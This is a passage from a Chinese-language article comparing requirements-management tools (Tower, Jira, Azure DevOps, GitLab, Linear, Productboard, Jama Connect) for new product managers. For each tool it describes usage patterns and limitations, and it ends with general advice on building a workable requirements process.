  • 体系化工具的门槛:如果团队完全没有流程共识,上来就“字段全定义、流程全覆盖”,很容易把人劝退。
  • 我的建议:先约定 5 个核心字段(需求来源/优先级/验收标准/负责人/目标版本),先跑顺,再扩展。

一句话总结:ONES 的口碑来自越用越省心——深度使用后你会发现扯皮变少、返工变少、复盘有据可依。

Tower:新人 PM 容易上手

关键词标签:需求管理|迭代计划|Bug 管理|甘特图|多视图|跨部门协作|知识沉淀

Tower 给我的感受是:它对“跨岗位协作”非常友好——因为它用的是大家都懂的语言:任务、负责人、进度、提醒。另外还支持迭代计划、需求管理、Bug 管理,并提供列表/日历/看板/甘特等多视图做进度管控。

核心功能:

  • 先做统一入口:建一个“需求清单/需求池”,把群消息、会议纪要、零散口头需求全部收进去
  • 再做轻量流程:待澄清→待评审→开发中→待验收→已完成(先跑起来再优化)
  • 用迭代把节奏定住:把能做的拉进迭代,不能做的写清原因(避免口头承诺)
  • 用甘特/多视图做对齐:管理层看甘特节点,执行层看看板推进,减少“二次汇报材料”

需求管理能力:

  • 拆解与分派顺手:需求很容易拆成任务并指派负责人,适合把“想法”落到“行动”。
  • 迭代 + Bug 覆盖常见闭环:对很多团队来说,这已经能解决 60% 的协作混乱。
  • 多视图天然适配跨岗:同一份需求,不同角色用不同视角看,减少信息翻译成本。

适用场景

  • 跨部门项目多、团队流程还在建立阶段
  • 新人 PM 需要快速拉齐节奏、减少“人肉盯群”
  • 更偏通用项目协作,而不是重度工程治理

局限与体验提醒
当你们后期更强调“需求追溯链”(需求变更影响哪些测试/哪些版本)或体系化质量治理时,可能需要更专业的测试/度量机制配合。

我自己的经验是:Tower 很适合“先把乱变有序”,再决定要不要升级到更重的闭环体系。

Jira:能力成熟、注重敏捷管理

关键词标签:Backlog|史诗 Epic|用户故事 Story|规划层级|生态扩展

Jira 的好口碑很多来自它在敏捷需求管理上的成熟:用史诗、故事等层级把需求组织起来,并把规划与执行对齐。Atlassian 对“epics 与 stories”等层级的解释本身就很清晰,也强调可以用更高层来对齐组织目标。

我会怎么用它做需求治理

  • 先把需求统一进 Backlog(不要一开始就建太多项目/看板)
  • 用 Epic 承载大主题,用 Story 承载可交付价值
  • 每条 Story 必写 验收标准(不写就会变成“好看的待办”)
  • 每周做一次 Backlog Refinement:减少“待澄清”,增加“可开发”

需求管理能力:

  • 层级与共同语言:对齐“需求是什么、范围到哪、如何拆解”。
  • 可塑性强:适合敏捷成熟团队做更复杂的流程与权限治理。

局限与体验提醒

  • 配置先行会不利于落地:字段太多、流程太复杂,团队会直接弃用
  • 是否好用取决于有没有人治理:Jira 的强,需要配合规则(DOR/DOD、命名规范、看板规则)才能兑现。

Azure DevOps:分层 Backlog + 工程交付思路

关键词标签:Azure Boards|Epic|Feature|Backlog 层级|工程交付
Azure DevOps 的文档明确指出:Epics 和 Features 是更高层容器,通常用户故事汇总到 Features,Features 再汇总到 Epics,并建议在命名时记住这种层级关系。

我会怎么用它管理需求

  • 用 Epic 表达目标,用 Feature 表达可交付能力
  • Feature 再拆到能进 Sprint 的工作项
  • 在评审阶段就把 验收标准与测试策略写进去,避免测试阶段返工

需求管理能力:

  • 分层让范围更可控:你不容易把季度目标写成一条需求。
  • 文档也强调用字段捕捉价值、时间关键性、目标日期等,利于做优先级与沟通。

局限与体验提醒:

  • 对非研发角色来说会更工程化,需要你做“需求语言翻译”
  • 如果团队不在相关生态里,集成与心智建设要提前规划

GitLab:用 epics + roadmap 把长期目标可视化

关键词标签:Epics|Roadmap|长期目标|跨迭代协调

GitLab Docs 明确提到:团队用 epics 来跨多次迭代协调工作、跟踪长期目标,并用可视化路线图监控目标进展。

我会怎么用它做“工程驱动型需求管理”

  • 需求先落到 issue(讨论与澄清),关键决策写在 issue 里而不是群里
  • 大需求上升为 epic,再拆分为多个 issue 交付
  • 用 roadmap 把 epic 放到时间线上,对齐方向、依赖与风险

需求管理能力

  • epic 更像“把需求从清单升级成计划”:有结构、有目标、有跨度
  • 一体化带来的追踪优势:实现与交付信息更容易回挂到需求语境里(少一次系统切换,就少一次信息丢失)

局限与体验提醒

  • 业务同学可能会觉得偏技术:你需要准备更友好的需求描述方式
  • 不建议新人 PM 一上来追求“一体化大而全”,先把协作习惯养起来更重要

Linear:节奏感很强的轻快型工具

关键词标签:Cycles(节奏)|Timeline(路线图)|项目与执行分离|轻量

Linear Docs 对 Timeline 的解释我很喜欢:它是一种项目规划工具,用来按时间展示项目进度、截止期、依赖,而且刻意只呈现项目,让规划工作与细粒度 issue 执行分离。

我会怎么用它把需求变得有序

  • 新需求先放在“待梳理区”,每天 10 分钟清理(不清理就会变垃圾场)
  • 每周把可做的需求拉进下个周期,让节奏稳定
  • Timeline 只用来对齐“项目级承诺”,避免把每个 issue 都当成对外承诺

需求管理能力:强在“清爽与节奏”

  • 你不必配置一堆流程,也能跑得很顺——对新人 PM 来说这是巨大的成功概率加成
  • 计划层(Projects/Timeline)和执行层(Issues)分开,减少“计划被细节淹没”

局限与体验提醒

  • 复杂审批、合规追溯、重度测试治理场景会显得偏轻
  • 更适合纪律性强的小团队,否则 triage 会变成新的“需求黑洞”

Productboard:决定与交付不断链

关键词标签:反馈聚合|优先级决策|产品路线图|推送到 Jira|双向同步

Productboard Support 明确提到:你可以把 Productboard 的条目推送到 Jira,新建 issue;并且提到“Features 通常推成 epics”,也可根据需要推成 tasks、bugs 或自定义类型。同时在 Atlassian Marketplace 的集成说明中也强调:可以把优先级后的功能直接推送到 Jira(stories 或 epics),并在 Productboard 里监控状态(双向联动)。

我会怎么用它(适合需求来源很杂的团队)

  • 把输入集中:客户成功、销售、运营、调研资料统一进一个池子
  • 做去重归类:把“同一个需求不同说法”合并成主题
  • 用价值框架排优先级:影响范围 + 价值 + 成本 + 风险(别只看谁声音大)
  • 推送到交付系统:把“决定做什么”推到“怎么交付”的地方,并持续回看状态

需求管理能力

  • 它更像产品决策中枢:帮你说清楚“为什么做/为什么不做/什么时候做”
  • 需求管理从“记录需求”升级为“管理承诺与证据链”

局限与体验提醒

  • 它不等于交付闭环:如果把它当项目推进工具,会觉得工程控制不够
  • 最佳姿势通常是:Productboard 管“决定”,研发系统管“交付”

Jama Connect:适合强合规/复杂系统

关键词标签:实时追溯|Traceability|影响分析|风险识别|合规证据链
Jama 的官方方案页强调:通过 Jama Connect 可以定义追溯信息模型、与工具同步、实时度量追溯,并在端到端开发过程中自动检测风险。

我会怎么用它(适合强追溯场景)

  • 把需求作为“权威库”建立起来(不是散落文档)
  • 用评审流程留痕:谁批准了什么、基于什么证据
  • 把验证对象(测试/验证活动)与需求建立追溯关系,需求变更时能快速评估影响范围

需求管理能力

  • 对强合规团队来说,需求不是“写完就完”,而是要能证明“我们如何决策、如何验证、如何符合要求”
  • 追溯能力让变更管理更可控:不是靠人脑做影响分析

局限与体验提醒

  • 对一般互联网团队可能偏重:学习成本与流程投入更高
  • 更适合做“需求与验证的权威系统”,再与交付系统集成

我现在越来越相信:好的需求管理工具,本质是在帮团队建立三条链:

  • 决策链:需求从哪里来?为什么做?优先级依据是什么?(避免口头承诺)
  • 闭环链:需求如何拆解、如何交付、如何验证、如何上线?(避免交付黑箱)
  • 复盘链:做完之后学到了什么?下次怎么更快更稳?(避免重复踩坑)

当这三条链跑起来,沟通就会更简单:因为大家讨论的是同一份事实,同一套节奏。如果你也在从别的岗位转型做 PM,我想把最朴素的经验送给你:先别追求“最强的工具”,先追求“最能让团队持续使用的工具”。

选一款你能推动落地的需求管理工具,先跑通“入口统一→优先级规则→迭代交付→验收留痕→复盘沉淀”的最短闭环。你会发现:工具不是让项目变复杂的,而是让沟通更简单、节奏更清晰。